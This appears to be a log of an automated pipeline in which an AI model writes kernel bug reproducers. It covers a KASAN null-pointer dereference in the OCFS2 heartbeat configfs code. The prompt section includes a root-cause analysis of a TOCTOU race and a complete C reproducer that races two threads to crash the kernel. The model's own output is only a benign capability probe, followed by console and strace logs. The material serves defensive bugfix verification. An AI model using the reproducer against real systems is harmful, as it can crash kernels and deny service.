printf("[-] Failed to open /dev/ram0: %s\n", strerror(errno));
exit(1);
}
printf("[+] /dev/ram0 opened successfully.\n");
} else {
printf("[+] /dev/loop0 opened successfully.\n");
}
close(fd);
printf("[+] All probes successful.\n");
return 0;
}
]
Instruction: You are a security researcher with deep Linux kernel background.
Your goal is to generate a minimal, standalone C program for the strictly defensive
purpose of verifying a bugfix in an isolated environment.
To ensure that we can diagnose why a program might fail to run on the test environment,
you MUST include detailed logging and error checking in the generated C program:
1. Use 'printf(...)' for all progress messages and error logs.
2. Every system call (e.g., socket, bind, listen, connect, ioctl, send) must check for a failure return value.
3. If a call fails, it must print a specific error message including the function name
and the error string (use strerror(errno)), and then exit with a non-zero status.
4. The program must print a message after every successful major step.
5. Generate code that follows this pattern for all operations:
int res = do_something();
if (res < 0) {
printf("[-] Failed to do_something: %s\n", strerror(errno));
exit(1);
}
printf("[+] do_something successful.\n");
6. The compilation and development environment (including compilers, build
systems, makefiles, and kernel build/header directories) is NOT available
on the target test VM guest. Do NOT check for, build, or reference any
compilation tools, build files, or kernel development directories.
7. Do NOT execute shell commands or run external binaries (e.g. by using
functions like 'system()', 'popen()', or the 'exec' family such as
'execve()'). All environment checks, capability probings, and reproduction
steps must be performed directly using standard Linux system calls (such
as 'open', 'socket', 'ioctl', 'stat', etc.).
8. When reproducing asynchronous kernel timeouts or warnings, always
include a sufficient delay (using sleep or similar) after deleting
or unregistering the device to allow the kernel's asynchronous
timeout to trigger before program exit.
=== PHASE 1: CAPABILITY PROBING (GENERATION) ===
You MUST start by generating a simple 'probe' program first. This is a strict, non-negotiable requirement
to verify that the test environment has the necessary kernel capabilities and privileges.
This program's sole purpose is to verify subsystem availability and privileges by probing specific
device files, subsystems, or syscalls (for example: opening /dev/vhci to check if the virtual
Bluetooth controller is accessible, loading a minimal dummy BPF program, or making a specific
socket/ioctl call).
Print clear messages indicating success or failure of these probes, and exit with 0 only if
all checks pass.
Do NOT attempt complex logic, and do NOT try to trigger the actual bug/crash in this first version,
regardless of how simple the reproducer seems. You must wait until a successful probe run has been
confirmed in the environment (i.e., when CapabilitiesVerified becomes true).
Prefer calling several tools at the same time to save round-trips.
Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.
Prompt: Bug Description: KASAN: null-ptr-deref Write in fput
(syz-executor157,5664,1):o2hb_bio_end_io:499 ERROR: IO Error 10
(syz-executor157,5664,1):o2hb_region_dev_store:1850 ERROR: status = -5
==================================================================
BUG: KASAN: null-ptr-deref in instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
BUG: KASAN: null-ptr-deref in atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
BUG: KASAN: null-ptr-deref in file_ref_put include/linux/file_ref.h:157 [inline]
BUG: KASAN: null-ptr-deref in fput+0x2e/0x100 fs/file_table.c:588
Write of size 8 at addr 0000000000000158 by task syz-executor157/5664
CPU: 1 UID: 0 PID: 5664 Comm: syz-executor157 Not tainted syzkaller #0 PREEMPT(full)
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/16/2026
Call Trace:
<TASK>
__dump_stack lib/dump_stack.c:94 [inline]
dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
kasan_report+0xdf/0x1c0 mm/kasan/report.c:595
check_region_inline mm/kasan/generic.c:186 [inline]
kasan_check_range+0x10f/0x1e0 mm/kasan/generic.c:200
instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
file_ref_put include/linux/file_ref.h:157 [inline]
fput+0x2e/0x100 fs/file_table.c:588
o2hb_region_dev_store+0x1230/0x1bc0 fs/ocfs2/cluster/heartbeat.c:1935
flush_write_buffer fs/configfs/file.c:207 [inline]
configfs_write_iter+0x302/0x4e0 fs/configfs/file.c:229
new_sync_write fs/read_write.c:595 [inline]
vfs_write+0x6ac/0x1050 fs/read_write.c:687
ksys_write+0x12a/0x250 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fd8eccb5ab9
Code: c0 79 93 eb d5 48 8d 7c 1d 00 eb 99 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 d8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007ffc7d881e78 EFLAGS: 00000246 ORIG_RAX: 0000000000000001
RAX: ffffffffffffffda RBX: 0000200000000540 RCX: 00007fd8eccb5ab9
RDX: 0000000000000001 RSI: 00002000000005c0 RDI: 0000000000000004
RBP: 0030706f6f6c2f2e R08: 0000000000000009 R09: 0000000000000009
R10: 0000000000000009 R11: 0000000000000246 R12: 000000000001009b
R13: 00007ffc7d881e8c R14: 00007ffc7d881ea0 R15: 0000200000000008
</TASK>
==================================================================
Strategy: An analysis of the bug report and kernel source code reveals a classic Time-Of-Check to Time-Of-Use (TOCTOU) race condition in the OCFS2 heartbeat configuration interface.
### Root Cause Analysis
The crash is a `KASAN: null-ptr-deref` in `fput()`, called from `o2hb_region_dev_store()` in `fs/ocfs2/cluster/heartbeat.c`.
When configuring an OCFS2 heartbeat region, user space writes a block device file descriptor to the `dev` configfs attribute. This invokes `o2hb_region_dev_store()`, which performs the following steps:
1. Checks if a device is already configured: `if (reg->hr_bdev_file) return -EINVAL;`
2. Opens the block device and stores the file pointer: `reg->hr_bdev_file = bdev_file_open_by_dev(...)`
3. Validates the logical block size: `if (sectsize != reg->hr_block_bytes) { ret = -EINVAL; goto out; }`
4. On failure (e.g., at the `goto out` block), it cleans up:
```c
out:
if (ret < 0) {
// ...
fput(reg->hr_bdev_file);
reg->hr_bdev_file = NULL;
}
```
Because configfs `store` functions are not inherently serialized against each other for the same attribute (unless they share the same open file descriptor), two threads writing to the `dev` attribute concurrently using *different* file descriptors can race:
- **Thread 1** and **Thread 2** both pass the `if (reg->hr_bdev_file)` check (it is initially `NULL`).
- Both threads open the block device. Thread 1 assigns its file pointer to `reg->hr_bdev_file`, and Thread 2 immediately overwrites it with its own file pointer.
- If we intentionally misconfigure `block_bytes` so that the `sectsize` check fails, both threads will jump to the `out` label.
- **Thread 1** executes `fput(reg->hr_bdev_file)` (which drops the reference to Thread 2's file) and sets `reg->hr_bdev_file = NULL`.
- **Thread 2** then executes `fput(reg->hr_bdev_file)`. Since Thread 1 just set it to `NULL`, Thread 2 calls `fput(NULL)`, triggering the exact null-pointer dereference seen in the crash log.
### Reproduction Strategy
To reproduce this bug reliably, we can intentionally force the `sectsize` check to fail while hammering the `dev` attribute from two threads.
1. **Setup Configfs and OCFS2 Cluster:**
- Mount `configfs` and load the `ocfs2_nodemanager` module.
- Create a cluster and a local node (`/sys/kernel/config/cluster/mycluster/node/mynode`).
- Configure the node's `num`, `ipv4_port`, `ipv4_address`, and set `local` to `1`.
2. **Setup Heartbeat Region:**
- Create a heartbeat region (`/sys/kernel/config/cluster/mycluster/heartbeat/myregion`).
- Set `blocks` and `start_block` to `1`.
- Open a block device (e.g., `/dev/loop0`) and query its logical block size (usually 512).
- Write a deliberately mismatched value (e.g., 1024) to the region's `block_bytes` attribute to guarantee the `sectsize` check will fail.
3. **Trigger the Race:**
- Open the region's `dev` attribute twice to obtain two independent file descriptors (this bypasses the per-file `configfs_buffer->mutex` serialization).
- Spawn two threads pinned to different CPUs.
- In a tight loop, both threads use `pwrite()` to write the block device's file descriptor string to their respective `dev` attribute file descriptors.
- The race window is relatively large because `bdev_file_open_by_dev()` takes time, making the crash highly reproducible within seconds.
### Minimal C Reproducer
```c
#include "race_toolkit.h"
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <linux/fs.h>
#include <string.h>
int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
void *thread_func1(void *arg)
{
PIN_TO_CPU(0);
while (1) {
pwrite(dev_attr_fd1, fd_str, strlen(fd_str), 0);
}
return NULL;
}
void *thread_func2(void *arg)
{
PIN_TO_CPU(1);
while (1) {
pwrite(dev_attr_fd2, fd_str, strlen(fd_str), 0);
}
return NULL;
}
int main()
{
SETUP_UNBUFFERED_IO();
system("mount -t configfs none /sys/kernel/config 2>/dev/null");
system("modprobe ocfs2_nodemanager 2>/dev/null");
system("mkdir -p /sys/kernel/config/cluster/mycluster/node/mynode");
system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/num");
system("echo 7777 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port");
system("echo 127.0.0.1 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address");
system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/local");
system("mkdir -p /sys/kernel/config/cluster/mycluster/heartbeat/myregion");
system("echo 1 > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks");
system("echo 1 > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block");
int dev_fd = open("/dev/loop0", O_RDWR);
if (dev_fd < 0) {
dev_fd = open("/dev/ram0", O_RDWR);
if (dev_fd < 0) {
perror("open block device");
return 1;
}
}
sprintf(fd_str, "%d", dev_fd);
// Force sectsize mismatch to guarantee failure and trigger the cleanup path
int sectsize = 512;
ioctl(dev_fd, BLKSSZGET, §size);
int block_bytes = (sectsize == 512) ? 1024 : 512;
char cmd[256];
sprintf(cmd, "echo %d > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes);
system(cmd);
// Open the attribute twice to get independent configfs buffers (avoids mutex serialization)
dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
perror("open dev attr");
return 1;
}
pthread_t t1, t2;
pthread_create(&t1, NULL, thread_func1, NULL);
pthread_create(&t2, NULL, thread_func2, NULL);
TIMER_START(start);
while (TIMER_NOT_EXPIRED(start, 5.0)) {
sleep(1);
}
return 0;
}
```
|
| 69/4 |
2026/09/04 20:42 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 6343
output: 474
thoughts: 1916
Thoughts: **My Thought Process for Generating the Minimal C Probe Program**
My primary objective here is to construct a lean C program that can effectively probe the target environment for the presence of specific kernel components and functionalities required to reproduce the "KASAN: null-ptr-deref Write in fput" bug, which is located within the `o2hb_region_dev_store` function in `fs/ocfs2/cluster/heartbeat.c`. The user has provided a strategy and a reproducer, but my immediate task is to create this *probe* program.
Crucially, I've been given strict constraints: I *cannot* use any compilation tools, build systems, makefiles, or kernel development directories on the target VM guest. This means no `gcc`, `make`, or `pkg-config`. Furthermore, I am forbidden from executing shell commands or external binaries, which invalidates the user's reproducer that apparently uses `system()`. All environment checks and probing must be done directly through standard Linux system calls like `open()`, `mount()`, `stat()`, `mkdir()`, `write()`, etc.
The probe program needs to verify three key conditions:
1. **Configfs Mounting:** I need to ensure that `configfs` can be mounted, or is already mounted, at `/sys/kernel/config`.
2. **`ocfs2_nodemanager` Access:** This involves checking if I can interact with the `ocfs2_nodemanager` kernel module. The user's strategy suggests this is related to creating directories within `/sys/kernel/config/cluster`.
3. **Block Device Availability:** I need to confirm that a block device, such as `/dev/loop0` or `/dev/ram0`, is accessible for read/write operations.
My initial thought was to directly try mounting `configfs`. If it's already mounted (which is likely in many environments), `mount()` will return `EBUSY`, which is an expected and acceptable outcome. If it fails for other reasons, it's a critical issue.
Next, for the `ocfs2_nodemanager` check, I realized that the `cluster` subsystem within `configfs` is typically registered by this module. Therefore, checking for the existence of `/sys/kernel/config/cluster` using `stat()` seems like the most direct and compliant approach. If `stat()` fails with `ENOENT` or another error, it strongly suggests that either `configfs` isn't properly set up, or more importantly, the `ocfs2_nodemanager` module isn't loaded or registered. I considered if I could *create* the `/sys/kernel/config/cluster` directory, but that's not how `configfs` subsystems work; they are created by the kernel modules themselves. So, if `stat()` fails, it's a showstopper for this particular probe. I also briefly pondered if `ocfs2_nodemanager` might auto-load when I `mkdir` in `configfs`, but that's generally not the case unless the subsystem is already registered, or it's a specific feature of `configfs` that isn't guaranteed. Given the constraints, `stat()` is the way to go.
Finally, for block device access, I'll attempt to `open()` `/dev/loop0` with `O_RDWR`. If that fails, I'll try `/dev/ram0`. If neither can be opened, the environment is not suitable.
Putting this together, I've constructed a C program that:
1. Attempts to `mount` `configfs` at `/sys/kernel/config`, gracefully handling the `EBUSY` error.
2. Uses `stat` to check for the existence of `/sys/kernel/config/cluster`. If this fails, I'll exit, as it's a critical dependency.
3. Tries to `open` `/dev/loop0` for read/write. If that fails, it attempts to `open` `/dev/ram0`. If both fail, it exits.
4. If all these checks pass, it prints a success message.
The resulting C code embodies these steps, using only standard system calls and avoiding any forbidden operations. I will then package this C code for the `set-results` tool to generate the probe output.
|
| 70/4 |
2026/09/04 20:42 |
tool |
set-results |
0m
Args: map[IsProbe:true RawCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <fcntl.h>
int main(void) {
int res;
// 1. Mount configfs
res = mount("configfs", "/sys/kernel/config", "configfs", 0, NULL);
if (res < 0 && errno != EBUSY) {
printf("[-] Failed to mount configfs: %s\n", strerror(errno));
} else {
printf("[+] configfs mounted or already mounted.\n");
}
// 2. Check if cluster subsystem exists
struct stat st;
res = stat("/sys/kernel/config/cluster", &st);
if (res < 0) {
printf("[-] Failed to stat /sys/kernel/config/cluster: %s\n", strerror(errno));
exit(1);
}
printf("[+] /sys/kernel/config/cluster exists.\n");
// 3. Check for a block device
int fd = open("/dev/loop0", O_RDWR);
if (fd < 0) {
printf("[-] Failed to open /dev/loop0: %s\n", strerror(errno));
fd = open("/dev/ram0", O_RDWR);
if (fd < 0) {
printf("[-] Failed to open /dev/ram0: %s\n", strerror(errno));
exit(1);
}
printf("[+] /dev/ram0 opened successfully.\n");
} else {
printf("[+] /dev/loop0 opened successfully.\n");
}
close(fd);
printf("[+] All probes successful.\n");
return 0;
}
]
Results: map[IsProbe:true RawCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <fcntl.h>
int main(void) {
int res;
// 1. Mount configfs
res = mount("configfs", "/sys/kernel/config", "configfs", 0, NULL);
if (res < 0 && errno != EBUSY) {
printf("[-] Failed to mount configfs: %s\n", strerror(errno));
} else {
printf("[+] configfs mounted or already mounted.\n");
}
// 2. Check if cluster subsystem exists
struct stat st;
res = stat("/sys/kernel/config/cluster", &st);
if (res < 0) {
printf("[-] Failed to stat /sys/kernel/config/cluster: %s\n", strerror(errno));
exit(1);
}
printf("[+] /sys/kernel/config/cluster exists.\n");
// 3. Check for a block device
int fd = open("/dev/loop0", O_RDWR);
if (fd < 0) {
printf("[-] Failed to open /dev/loop0: %s\n", strerror(errno));
fd = open("/dev/ram0", O_RDWR);
if (fd < 0) {
printf("[-] Failed to open /dev/ram0: %s\n", strerror(errno));
exit(1);
}
printf("[+] /dev/ram0 opened successfully.\n");
} else {
printf("[+] /dev/loop0 opened successfully.\n");
}
close(fd);
printf("[+] All probes successful.\n");
return 0;
}
]
|
| 71/3 |
2026/09/04 20:42 |
loop |
|
0m
|
| 72/4 |
2026/09/04 20:42 |
iteration |
0 |
0m
|
| 73/5 |
2026/09/04 20:42 |
action |
merge-repro-c |
0m
Results: map[CurrentCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <fcntl.h>
int main(void) {
int res;
// 1. Mount configfs
res = mount("configfs", "/sys/kernel/config", "configfs", 0, NULL);
if (res < 0 && errno != EBUSY) {
printf("[-] Failed to mount configfs: %s\n", strerror(errno));
} else {
printf("[+] configfs mounted or already mounted.\n");
}
// 2. Check if cluster subsystem exists
struct stat st;
res = stat("/sys/kernel/config/cluster", &st);
if (res < 0) {
printf("[-] Failed to stat /sys/kernel/config/cluster: %s\n", strerror(errno));
exit(1);
}
printf("[+] /sys/kernel/config/cluster exists.\n");
// 3. Check for a block device
int fd = open("/dev/loop0", O_RDWR);
if (fd < 0) {
printf("[-] Failed to open /dev/loop0: %s\n", strerror(errno));
fd = open("/dev/ram0", O_RDWR);
if (fd < 0) {
printf("[-] Failed to open /dev/ram0: %s\n", strerror(errno));
exit(1);
}
printf("[+] /dev/ram0 opened successfully.\n");
} else {
printf("[+] /dev/loop0 opened successfully.\n");
}
close(fd);
printf("[+] All probes successful.\n");
return 0;
}
]
|
| 74/5 |
2026/09/04 20:42 |
action |
compile-c-prog |
0m
Results: map[CompilerError: FormattedReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <fcntl.h>
int main(void) {
int res;
// 1. Mount configfs
res = mount("configfs", "/sys/kernel/config", "configfs", 0, NULL);
if (res < 0 && errno != EBUSY) {
printf("[-] Failed to mount configfs: %s\n", strerror(errno));
} else {
printf("[+] configfs mounted or already mounted.\n");
}
// 2. Check if cluster subsystem exists
struct stat st;
res = stat("/sys/kernel/config/cluster", &st);
if (res < 0) {
printf("[-] Failed to stat /sys/kernel/config/cluster: %s\n", strerror(errno));
exit(1);
}
printf("[+] /sys/kernel/config/cluster exists.\n");
// 3. Check for a block device
int fd = open("/dev/loop0", O_RDWR);
if (fd < 0) {
printf("[-] Failed to open /dev/loop0: %s\n", strerror(errno));
fd = open("/dev/ram0", O_RDWR);
if (fd < 0) {
printf("[-] Failed to open /dev/ram0: %s\n", strerror(errno));
exit(1);
}
printf("[+] /dev/ram0 opened successfully.\n");
} else {
printf("[+] /dev/loop0 opened successfully.\n");
}
close(fd);
printf("[+] All probes successful.\n");
return 0;
}
]
|
| 75/5 |
2026/09/04 20:42 |
action |
If |
0m
Args:
|
| 76/3 |
2026/09/04 20:42 |
action |
run-c-repro |
2m
Results: map[CandidateBugTitle: CandidateCrashReport: CandidateReproduced:false ConsoleOutput:[ 66.200632][ T33] audit: type=1400 audit(1788554639.885:203): avc: denied { transition } for pid=5822 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 66.208123][ T33] audit: type=1400 audit(1788554639.885:204): avc: denied { noatsecure } for pid=5822 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 66.214693][ T33] audit: type=1400 audit(1788554639.885:205): avc: denied { rlimitinh } for pid=5822 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 66.221020][ T33] audit: type=1400 audit(1788554639.885:206): avc: denied { siginh } for pid=5822 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
Warning: Permanently added '[localhost]:23825' (ED25519) to the list of known hosts.
[ 68.498062][ T33] audit: type=1400 audit(1788554642.185:207): avc: denied { write } for pid=5833 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 68.541628][ T33] audit: type=1400 audit(1788554642.225:208): avc: denied { write } for pid=5838 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[+] configfs mounted or already mounted.
[+] /sys/kernel/config/cluster exists.
[+] /dev/loop0 opened successfully.
[+] All probes successful.
[ 68.553968][ T33] audit: type=1400 audit(1788554642.245:209): avc: denied { mounton } for pid=5837 comm="syz-executor347" path="/sys/kernel/config" dev="configfs" ino=68 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[ 68.575707][ T33] audit: type=1400 audit(1788554642.245:210): avc: denied { mount } for pid=5837 comm="syz-executor347" name="/" dev="configfs" ino=68 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=filesystem permissive=1
[ 68.590155][ T33] audit: type=1400 audit(1788554642.245:211): avc: denied { search } for pid=5837 comm="syz-executor347" name="/" dev="configfs" ino=68 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[ 68.754476][ T33] audit: type=1400 audit(1788554642.445:212): avc: denied { write } for pid=5842 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 72.444229][ T1375] ieee802154 phy0 wpan0: encryption failed: -22
[ 72.446882][ T1375] ieee802154 phy1 wpan1: encryption failed: -22
OtherCrashReports:<nil> StraceOutput:/strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor2769299323
<...>
[ 61.377091][ T33] kauditd_printk_skb: 10 callbacks suppressed
[ 61.377104][ T33] audit: type=1400 audit(1788554719.847:201): avc: denied { transition } for pid=5825 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.392311][ T33] audit: type=1400 audit(1788554719.847:202): avc: denied { noatsecure } for pid=5825 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.398762][ T33] audit: type=1400 audit(1788554719.847:203): avc: denied { rlimitinh } for pid=5825 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.405026][ T33] audit: type=1400 audit(1788554719.857:204): avc: denied { siginh } for pid=5825 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 63.960242][ T33] audit: type=1400 audit(1788554722.427:205): avc: denied { write } for pid=5832 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 63.992683][ T33] audit: type=1400 audit(1788554722.467:206): avc: denied { write } for pid=5835 comm="rm" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 64.504121][ T33] audit: type=1400 audit(1788554722.977:207): avc: denied { write } for pid=5842 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 64.537662][ T33] audit: type=1400 audit(1788554723.007:208): avc: denied { write } for pid=5845 comm="rm" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 64.600941][ T33] audit: type=1400 audit(1788554723.067:209): avc: denied { write } for pid=5848 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 64.640340][ T33] audit: type=1400 audit(1788554723.107:210): avc: denied { write } for pid=5851 comm="rm" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
Warning: Permanently added '[localhost]:55719' (ED25519) to the list of known hosts.
execve("/syz-executor2769299323", ["/syz-executor2769299323"], 0x7ffd14f33690 /* 11 vars */) = 0
brk(NULL) = 0x55556de52000
brk(0x55556de52d80) = 0x55556de52d80
arch_prctl(ARCH_SET_FS, 0x55556de52400) = 0
set_tid_address(0x55556de526d0) = 5869
set_robust_list(0x55556de526e0, 24) = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor2769299323", 4096) = 23
getrandom("\x7b\xc9\x15\x13\x45\x7c\xe3\xf0", 8, GRND_NONBLOCK) = 8
brk(NULL) = 0x55556de52d80
brk(0x55556de73d80) = 0x55556de73d80
brk(0x55556de74000) = 0x55556de74000
mprotect(0x7fd0f8095000, 20480, PROT_READ) = 0
mount("configfs", "/sys/kernel/config", "configfs", 0, NULL) = -1 EBUSY (Device or resource busy)
fstat(1, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
newfstatat(AT_FDCWD, "/sys/kernel/config/cluster", {st_mode=S_IFDIR|0755, st_size=0, ...}, 0) = 0
openat(AT_FDCWD, "/dev/loop0", O_RDWR) = 3
close(3) = 0
write(1, "[+] configfs mounted or already mounted.\n[+] /sys/kernel/config/cluster exists.\n[+] /dev/loop0 opene"..., 143) = 143
exit_group(0) = ?
+++ exited with 0 +++
[+] configfs mounted or already mounted.
[+] /sys/kernel/config/cluster exists.
[+] /dev/loop0 opened successfully.
[+] All probes successful.
[ 66.401030][ T33] kauditd_printk_skb: 10 callbacks suppressed
[ 66.401040][ T33] audit: type=1400 audit(1788554724.867:221): avc: denied { write } for pid=5886 comm="rm" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 66.692135][ T33] audit: type=1400 audit(1788554725.157:222): avc: denied { write } for pid=5889 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 66.725029][ T33] audit: type=1400 audit(1788554725.197:223): avc: denied { write } for pid=5892 comm="rm" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 71.534201][ T1373] ieee802154 phy0 wpan0: encryption failed: -22
[ 71.536407][ T1373] ieee802154 phy1 wpan1: encryption failed: -22
TestError:]
|
| 77/3 |
2026/09/04 20:45 |
action |
truncate-log |
0m
Results: map[TruncatedConsoleOutput:[ 66.200632][ T33] audit: type=1400 audit(1788554639.885:203): avc: denied { transition } for pid=5822 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 66.208123][ T33] audit: type=1400 audit(1788554639.885:204): avc: denied { noatsecure } for pid=5822 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 66.214693][ T33] audit: type=1400 audit(1788554639.885:205): avc: denied { rlimitinh } for pid=5822 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 66.221020][ T33] audit: type=1400 audit(1788554639.885:206): avc: denied { siginh } for pid=5822 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
Warning: Permanently added '[localhost]:23825' (ED25519) to the list of known hosts.
[ 68.498062][ T33] audit: type=1400 audit(1788554642.185:207): avc: denied { write } for pid=5833 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 68.541628][ T33] audit: type=1400 audit(1788554642.225:208): avc: denied { write } for pid=5838 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[+] configfs mounted or already mounted.
[+] /sys/kernel/config/cluster exists.
[+] /dev/loop0 opened successfully.
[+] All probes successful.
[ 68.553968][ T33] audit: type=1400 audit(1788554642.245:209): avc: denied { mounton } for pid=5837 comm="syz-executor347" path="/sys/kernel/config" dev="configfs" ino=68 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[ 68.575707][ T33] audit: type=1400 audit(1788554642.245:210): avc: denied { mount } for pid=5837 comm="syz-executor347" name="/" dev="configfs" ino=68 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=filesystem permissive=1
[ 68.590155][ T33] audit: type=1400 audit(1788554642.245:211): avc: denied { search } for pid=5837 comm="syz-executor347" name="/" dev="configfs" ino=68 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[ 68.754476][ T33] audit: type=1400 audit(1788554642.445:212): avc: denied { write } for pid=5842 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 72.444229][ T1375] ieee802154 phy0 wpan0: encryption failed: -22
[ 72.446882][ T1375] ieee802154 phy1 wpan1: encryption failed: -22
TruncatedCrashReport: TruncatedStraceOutput:/strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor2769299323
<...>
[ 61.377091][ T33] kauditd_printk_skb: 10 callbacks suppressed
